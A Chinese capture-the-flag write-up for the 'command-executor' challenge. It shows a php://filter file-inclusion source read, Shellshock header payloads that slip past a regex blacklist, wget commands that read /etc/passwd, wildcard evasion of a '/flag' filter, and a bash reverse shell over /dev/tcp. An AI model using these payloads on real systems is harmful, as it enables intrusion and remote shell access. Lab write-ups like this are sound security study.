这里先给出题目链接:

这是一道不错的ctf题,首先说一下考察点:

文件包含读源码
代码分析结合CVE
CVE导致的命令执行
写入文件/反弹shell
思考c文件的解法
重定向获取flag

我们先看一下题目主页面:

发现有敏感的选项,我们尝试点击:

发现可以遍历目录,但是对输入的命令有限制,只能执行ls,env 。

但是我们观察上图发现有几个php的文件名有似曾相识的感觉,比如 cmd.php , ls.php ,

man.php , untar.php 这几个php的文件名 ls , cmd , untar 像是url中func包含过来的参数,

这样的话,是不是存在文件包含漏洞,我们构造poc:

php://filter/read=convert.base64-encode/resource=index

这样的话,我们用func接受这个参数,就可以读到base64加密过后的index.php文件:

成功读到base64加密过后的index.php文件,我们解密分析:

<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
]; function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
} $black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
]; function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
} waf($_SERVER);
waf($_GET);
waf($_POST); function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
} foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
} $page = ''; if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
} if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

我们发现了一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量

结合唯一可以执行的env命令想到2014年的一个重大漏洞:

CVE-2014-6271
破壳(ShellShock)漏洞

具体漏洞详情我会在稍后的博客中复现这个漏洞,清持续关注我的博客。

这里先贴出Freebuf的分析连接:

确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:

其中重点的一段如下:

可以清楚看到这样一个payload:

wget --header="X-Exploit:(){:;};echo Hacked" -q -O - http://127.0.0.1/shock.php

并且和这个测试样本和我们题目中给出的代码十分相似:

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

于是我们先去尝试一下适用性:

可以发现我们被waf拦截了:

\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf过滤点:

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
]; function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

可以看到如上一个黑名单,
我们的

X-Exploit: () { :; };

正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

X-Exploit: () { : ; };

我们再次攻击一次试试:

wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,

不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,

需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password

wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

发现命令可以成功执行,下面我们就用命令ls来寻找flag:

https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

我们尝试使用cat来读一下flag文件:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

oh,shit...又被waf拦了

这里有没有办法绕过/flag呢?

这里给出两条思路:

1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
2.通配符绕过

这里我选择第二点:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,

回去查看文件权限:

发现只有root才可读....

发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,

我们读一下他看有什么线索:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回显:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a> <ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="index.php?func=man">Man</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?func=untar">Tar Tester</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?func=cmd">Cmd Exec</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?func=ls">List files</a>
</li>
</ul>
</nav> <div class="container"><h1>Command Execution</h1>
<ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul>
<form action="index.php" method="GET">
<input type="hidden" name="func" value="cmd">
<div class="input-group">
<input class="form-control" type="text" name="cmd" id="cmd">
<div class="input-group-append">
<input class="btn btn-primary" type="submit" value="Execute">
</div>
</div>
</form>
<script>cmd.focus();</script>
<h2>$ env</h2><pre>#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h> int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
} setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val)); if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
</pre></div>
</body>
</html>

审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容

此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,

速度极慢,所以容易想到,要不要拿个shell?

这里给出2种拿shell的思路

1.反弹shell
2.找到可写目录,并写入文件,利用文件包含即可

这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)

wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一会儿就能收到shell

而下面就只要解决如何在1s内输入c文件输出的结果这个问题了

这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的

我们先去探索可写目录,发现 /var/tmp具有写权限

我们测试一下:

然后来看写进去了没有:

成功写入文件,证明这个目录可以利用,我们构造:

flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

即可在skyflag中读到flag

24.command-executor的更多相关文章

  1. Java 多线程(2)-Executor

    public interface Executor{ void executor(Runnable command); } 如上所写,Executor实际上是一个接口,他提供了唯一的接口方法execu ...

  2. Java并发——线程池Executor框架

    线程池 无限制的创建线程 若采用"为每个任务分配一个线程"的方式会存在一些缺陷,尤其是当需要创建大量线程时: 线程生命周期的开销非常高 资源消耗 稳定性 引入线程池 任务是一组逻辑 ...

  3. JUC中Executor基本知识

    Future And Callable 引用 http://www.cnblogs.com/dolphin0520/p/3949310.html http://www.iocoder.cn/JUC/ ...

  4. 【Java 并发】Executor框架机制与线程池配置使用

    [Java 并发]Executor框架机制与线程池配置使用 一,Executor框架Executor框架便是Java 5中引入的,其内部使用了线程池机制,在java.util.cocurrent 包下 ...

  5. Java的Executor框架和线程池实现原理

    Java的Executor框架 1,Executor接口 public interface Executor { void execute(Runnable command); } Executor接 ...

  6. java多线程之Executor 与 ExecutorService两个基本接口

    一.Executor 接口简介 Executor接口是Executor框架的一个最基本的接口,Executor框架的大部分类都直接或间接地实现了此接口. 只有一个方法 void execute(Run ...

  7. JUC源码学习笔记5——线程池,FutureTask,Executor框架源码解析

    JUC源码学习笔记5--线程池,FutureTask,Executor框架源码解析 源码基于JDK8 参考了美团技术博客 https://tech.meituan.com/2020/04/02/jav ...

  8. Spark面试相关

    Spark Core面试篇01 随着Spark技术在企业中应用越来越广泛,Spark成为大数据开发必须掌握的技能.前期分享了很多关于Spark的学习视频和文章,为了进一步巩固和掌握Spark,在原有s ...

  9. [Android] Java Basic : preview

    基础教学:lecture, video, lecturer: Matt Stoker Java教学:http://www.runoob.com/java/java-intro.html[菜鸟教程,非常 ...

随机推荐

  1. vue-router原理分析

    本文整理总结自: https://zhuanlan.zhihu.com/p/27588422 单页面应用(SPA)的核心之一是: 更新视图而不重新请求页面, 实现这一点主要是两种方式: 1.Hash: ...

  2. Django之Form详解

    Django的Form主要具有一下几大功能: 生成HTML标签 验证用户数据(显示错误信息) HTML Form提交保留上次提交数据 初始化页面显示内容 1.创建Form类.View函数处理 from ...

  3. [算法]String to Integer(atoi)

    Implement atoi to convert a string to an integer. Hint: Carefully consider all possible input cases. ...

  4. hdu 1701 (Binary Tree Traversals)(二叉树前序中序推后序)

                                                                                Binary Tree Traversals T ...

  5. Fidder工具抓包及篡改数据

    下载fiddler的最新版本: 运行fiddler之后测试要调试的页面是否可以捕获,刷新页面后左边列表会实时显示目前http请求的条目.如图红色部分 测试成功,开始断点捕获数据 点击菜单栏按钮[Rul ...

  6. 在Treeview中节点的data属性中保存记录类型及其消除的办法

    一.保存记录类型在data指针中: procedure TForm1.getheaditems(pp:TfrxBand;hnode:THeadTreeNode;var i:Integer;var j: ...

  7. Docker学习(三)

    查看docker daemon服务运行状态 service docker status

  8. Provider org.apache.xerces.jaxp.DocumentBuilderFactoryImpl not found 问题排查

    自定义的classLoader启动spring容器,遇到 Provider org.apache.xerces.jaxp.DocumentBuilderFactoryImpl not subtype ...

  9. 分享知识-快乐自己:Spring切入点的表达式和通知类型

    1.切入点的表达式 表达式格式: execution([修饰符] 返回值类型 包名.类名.方法名(参数)) 其他的代替: <!-- 完全指定一个方法 --> <!-- <aop ...

  10. 使用Chrome采集摄像头并生成视频下载

    主要使用2个技术点:WebRtc 的 getUserMedia 和 MediaRecorder 注意点 开始录制调用 start 方法要传入一个采样间隔,这样录制的媒体会按照你设置的值进行分割成一个个 ...